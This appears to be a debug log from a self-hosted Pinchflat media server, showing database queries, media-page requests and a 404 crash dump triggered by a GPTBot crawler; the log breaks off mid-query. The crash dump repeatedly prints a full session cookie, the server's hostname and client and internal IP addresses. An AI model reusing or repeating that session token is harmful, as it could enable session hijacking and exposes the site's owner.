m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:59:31.572 [info] Sent 200 in 2ms 16:59:32.856 [info] GET /sources/3/media/6486 16:59:32.856 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6486", "prevent_download" => "true", "source_id" => "3"} Pipelines: [:browser] 16:59:32.856 [debug] QUERY OK source="media_items" db=0.2ms idle=1285.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6486] 16:59:32.856 [debug] QUERY OK source="tasks" db=0.0ms idle=1285.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6486] 16:59:32.857 [debug] QUERY OK source="sources" db=0.0ms idle=1285.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 16:59:32.857 [debug] QUERY OK source="settings" db=0.0ms idle=1285.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:32.857 [debug] QUERY OK source="settings" db=0.0ms idle=309.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:32.857 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:32.857 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:59:32.858 [info] Sent 200 in 2ms 16:59:34.034 [info] GET /sources/3/media/6496 16:59:34.034 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6496", "prevent_download" => "true", "source_id" => "3"} Pipelines: [:browser] 16:59:34.034 [debug] QUERY OK source="media_items" db=0.1ms idle=486.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6496] 16:59:34.034 [debug] QUERY OK source="tasks" db=0.1ms idle=40.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6496] 16:59:34.034 [debug] QUERY OK source="sources" db=0.1ms idle=40.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 16:59:34.035 [debug] QUERY OK source="settings" db=0.0ms idle=41.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:34.035 [debug] QUERY OK source="settings" db=0.1ms idle=41.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:34.036 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:34.036 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:59:34.037 [info] Sent 200 in 2ms 16:59:35.095 [info] GET /sources/3/media/6483 16:59:35.095 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6483", "prevent_download" => "true", "source_id" => "3"} Pipelines: [:browser] 16:59:35.096 [debug] QUERY OK source="media_items" db=0.1ms idle=1060.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6483] 16:59:35.096 [debug] QUERY OK source="tasks" db=0.0ms idle=1060.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6483] 16:59:35.096 [debug] QUERY OK source="sources" db=0.1ms idle=1060.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 16:59:35.096 [debug] QUERY OK source="settings" db=0.0ms idle=1060.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:35.096 [debug] QUERY OK source="settings" db=0.0ms idle=547.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:35.097 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:35.097 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:59:35.097 [info] Sent 200 in 2ms 16:59:36.060 [info] GET /sources/2/media/12827/force_download 16:59:36.060 [debug] QUERY OK source="settings" db=0.1ms idle=963.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:36.060 [debug] QUERY OK source="settings" db=0.0ms idle=963.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:36.060 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:59:36.060 [error] #PID<0.11283.0> running PinchflatWeb.Endpoint (connection #PID<0.11282.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/2/media/12827/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/12827/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11282.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/12827/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 58728}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY0h4TS1NajhCVllnc1VLTkVWOWdvamIy.wTmzTZCG2v2lvATyGjJnXAexVdBsjGHdCLc0iZbBMds", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2/media/12827", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY0h4TS1NajhCVllnc1VLTkVWOWdvamIy.wTmzTZCG2v2lvATyGjJnXAexVdBsjGHdCLc0iZbBMds" }, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.11283.0>, params: %{}, path_info: ["sources", "2", "media", "12827", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY0h4TS1NajhCVllnc1VLTkVWOWdvamIy.wTmzTZCG2v2lvATyGjJnXAexVdBsjGHdCLc0iZbBMds" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY0h4TS1NajhCVllnc1VLTkVWOWdvamIy.wTmzTZCG2v2lvATyGjJnXAexVdBsjGHdCLc0iZbBMds"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/2/media/12827"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/2/media/12827/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVIWWJBMjO8eVIAAOBD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11282.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/12827/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 58728}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY0h4TS1NajhCVllnc1VLTkVWOWdvamIy.wTmzTZCG2v2lvATyGjJnXAexVdBsjGHdCLc0iZbBMds", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2/media/12827", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/12827/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11282.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/12827/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 58728}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY0h4TS1NajhCVllnc1VLTkVWOWdvamIy.wTmzTZCG2v2lvATyGjJnXAexVdBsjGHdCLc0iZbBMds", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2/media/12827", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_bod (truncated) 16:59:36.867 [info] GET /sources/2/media/12827 16:59:36.868 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12827", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 16:59:36.868 [debug] QUERY OK source="media_items" db=0.1ms idle=1770.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12827] 16:59:36.868 [debug] QUERY OK source="tasks" db=0.0ms idle=1318.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12827] 16:59:36.868 [debug] QUERY OK source="sources" db=0.1ms idle=808.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:59:36.869 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=808.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [705] 16:59:36.869 [debug] QUERY OK source="settings" db=0.0ms idle=317.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:36.869 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:36.869 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:36.870 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:59:36.871 [info] Sent 200 in 3ms 16:59:39.405 [info] GET /sources/1/media/6107 16:59:39.405 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6107", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 16:59:39.405 [debug] QUERY OK source="media_items" db=0.1ms idle=1411.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6107] 16:59:39.405 [debug] QUERY OK source="tasks" db=0.1ms idle=1411.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6107] 16:59:39.406 [debug] QUERY OK source="sources" db=0.1ms idle=1412.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:59:39.406 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=1412.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [79] 16:59:39.406 [debug] QUERY OK source="settings" db=0.0ms idle=852.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:39.406 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:39.406 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:39.406 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:59:39.407 [info] Sent 200 in 2ms 16:59:41.585 [info] GET /sources/2/media/6128 16:59:41.585 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6128", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 16:59:41.585 [debug] QUERY OK source="media_items" db=0.1ms idle=591.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6128] 16:59:41.586 [debug] QUERY OK source="tasks" db=0.0ms idle=592.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6128] 16:59:41.586 [debug] QUERY OK source="sources" db=0.0ms idle=592.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", 